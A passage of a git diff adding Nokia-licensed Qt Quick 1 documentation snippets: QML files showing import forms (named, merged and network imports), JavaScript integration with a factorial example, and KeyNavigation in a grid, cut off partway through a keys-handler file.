+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0
+import com.nokia.qml.mymodule 1.0
+//! [imports]
+
+Item {
+}
diff --git a/doc/src/snippets/qtquick1/imports/merged-named-imports.qml b/doc/src/snippets/qtquick1/imports/merged-named-imports.qml
new file mode 100644
index 0000000000..366e76ec96
--- /dev/null
+++ b/doc/src/snippets/qtquick1/imports/merged-named-imports.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0 as Nokia
+import Ovi 1.0 as Nokia
+//! [imports]
+
+Item {
+}
diff --git a/doc/src/snippets/qtquick1/imports/named-imports.qml b/doc/src/snippets/qtquick1/imports/named-imports.qml
new file mode 100644
index 0000000000..a8fa743ddf
--- /dev/null
+++ b/doc/src/snippets/qtquick1/imports/named-imports.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0 as QtLibrary
+import "../MyComponents" as MyComponents
+import com.nokia.qml.mymodule 1.0 as MyModule
+//! [imports]
+
+Item {
+ //! [imported items]
+ QtLibrary.Rectangle {
+ // ...
+ }
+
+ MyComponents.Slider {
+ // ...
+ }
+
+ MyModule.SomeComponent {
+ // ...
+ }
+ //! [imported items]
+}
diff --git a/doc/src/snippets/qtquick1/imports/network-imports.qml b/doc/src/snippets/qtquick1/imports/network-imports.qml
new file mode 100644
index 0000000000..54e177abef
--- /dev/null
+++ b/doc/src/snippets/qtquick1/imports/network-imports.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import "http://www.my-server.com/MyQMLProject/MyComponents"
+import "http://www.my-server.com/MyQMLProject/MyComponents" 1.0
+//! [imports]
+
+Item {
+}
diff --git a/doc/src/snippets/qtquick1/imports/qtquick-1.0.qml b/doc/src/snippets/qtquick1/imports/qtquick-1.0.qml
new file mode 100644
index 0000000000..e2a642d013
--- /dev/null
+++ b/doc/src/snippets/qtquick1/imports/qtquick-1.0.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import QtQuick 1.0
+//! [import]
+
+Item {
+}
diff --git a/doc/src/snippets/qtquick1/imports/timeexample.qml b/doc/src/snippets/qtquick1/imports/timeexample.qml
new file mode 100644
index 0000000000..24eafd738e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/imports/timeexample.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import com.nokia.TimeExample 1.0
+//! [import]
+
+Item {
+}
diff --git a/doc/src/snippets/qtquick1/integrating-javascript/connectjs.qml b/doc/src/snippets/qtquick1/integrating-javascript/connectjs.qml
new file mode 100644
index 0000000000..c58633ea01
--- /dev/null
+++ b/doc/src/snippets/qtquick1/integrating-javascript/connectjs.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+import "script.js" as MyScript
+
+Item {
+ id: item
+ width: 200; height: 200
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ }
+
+ Component.onCompleted: {
+ mouseArea.clicked.connect(MyScript.jsFunction)
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/integrating-javascript/includejs/app.qml b/doc/src/snippets/qtquick1/integrating-javascript/includejs/app.qml
new file mode 100644
index 0000000000..8a9462861c
--- /dev/null
+++ b/doc/src/snippets/qtquick1/integrating-javascript/includejs/app.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+import "script.js" as MyScript
+
+Item {
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ MyScript.showCalculations(10)
+ console.log("Call factorial() from QML:",
+ MyScript.factorial(10))
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/integrating-javascript/includejs/factorial.js b/doc/src/snippets/qtquick1/integrating-javascript/includejs/factorial.js
new file mode 100644
index 0000000000..667d21a0f8
--- /dev/null
+++ b/doc/src/snippets/qtquick1/integrating-javascript/includejs/factorial.js
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// factorial.js
+function factorial(a) {
+ a = parseInt(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/integrating-javascript/includejs/script.js b/doc/src/snippets/qtquick1/integrating-javascript/includejs/script.js
new file mode 100644
index 0000000000..867f46f752
--- /dev/null
+++ b/doc/src/snippets/qtquick1/integrating-javascript/includejs/script.js
@@ -0,0 +1,48 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// script.js
+Qt.include("factorial.js")
+
+function showCalculations(value) {
+ console.log("Call factorial() from script.js:",
+ factorial(value));
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/integrating-javascript/script.js b/doc/src/snippets/qtquick1/integrating-javascript/script.js
new file mode 100644
index 0000000000..1e3d1e0b9f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/integrating-javascript/script.js
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// script.js
+
+function jsFunction() {
+ console.log("Called JavaScript function!")
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/keynavigation.qml b/doc/src/snippets/qtquick1/keynavigation.qml
new file mode 100644
index 0000000000..986be382af
--- /dev/null
+++ b/doc/src/snippets/qtquick1/keynavigation.qml
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Grid {
+ width: 100; height: 100
+ columns: 2
+
+ Rectangle {
+ id: topLeft
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+ focus: true
+
+ KeyNavigation.right: topRight
+ KeyNavigation.down: bottomLeft
+ }
+
+ Rectangle {
+ id: topRight
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+
+ KeyNavigation.left: topLeft
+ KeyNavigation.down: bottomRight
+ }
+
+ Rectangle {
+ id: bottomLeft
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+
+ KeyNavigation.right: bottomRight
+ KeyNavigation.up: topLeft
+ }
+
+ Rectangle {
+ id: bottomRight
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+
+ KeyNavigation.left: bottomLeft
+ KeyNavigation.up: topRight
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/keys/keys-handler.qml b/doc/src/snippets/qtquick1/keys/keys-handler.qml
new file mode 100644
index 0000000000..d72f9cafc5
--- /dev/null
+++ b/doc/src/snippets/qtquick1/keys/keys-handler.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
